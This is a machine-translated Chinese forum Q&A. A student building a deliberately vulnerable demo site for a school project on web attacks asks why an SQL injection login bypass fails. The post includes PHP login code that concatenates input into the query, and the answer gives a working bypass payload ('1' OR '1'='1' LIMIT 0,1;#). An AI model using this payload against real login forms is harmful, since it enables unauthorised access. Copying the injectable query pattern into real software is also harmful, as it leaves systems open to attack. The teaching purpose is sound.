我必须为学校做一个有关许多不同网络漏洞(SQL,XSS,CSRF等)的项目,并且我已经制作了一个非常简单的网站来演示其攻击。但是由于某种原因,我只是无法通过攻击登录名来使SQL注入正常工作。
这是简单的登录代码:
$query = "SELECT * FROM customer WHERE cMAIL='$cmail' AND cPWD='$cpwd'";
$res = mysql_query($query) or die(mysql_error());
echo $query . mysql_error();
$count = mysql_num_rows($res);
if ($count == 1) {
echo " Reached target!";
session_start();
$_SESSION["cmail"] = $cmail;
$_SESSION["cpwd"] = $cpwd;
} else {}
回声很多,因此我可以跟踪注入以查看会发生什么,但这给了我奇怪的结果。
如果我以客户之一身份登录;用户名:[email protected],密码= 123abc,它给了我预期的响应:
从客户那里选择* cMAIL='[email protected]'并且cPWD ='123abc'已达到目标!
这是它在浏览器中回显的内容,只是要清楚!
并为jjones创建会话。但是,如果我这样做:用户名:1'或'1'='1,密码:(空)它会回显此:
从客户那里选择* cMAIL ='1'或'1'='1'AND cPWD =''
没有错误或任何东西。我已经回显了$ count,它说从数据库中选择了0行。因此,注入是合理的,但是基于查询,我没有得到任何行。我该如何解决?
你可以生产
SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' LIMIT 0,1;# AND cPWD=''
与用户:
1' OR '1'='1' LIMIT 0,1;#
并且密码为空。
本文收集自互联网,转载请注明来源。
如有侵权,请联系[email protected] 删除。
我来说两句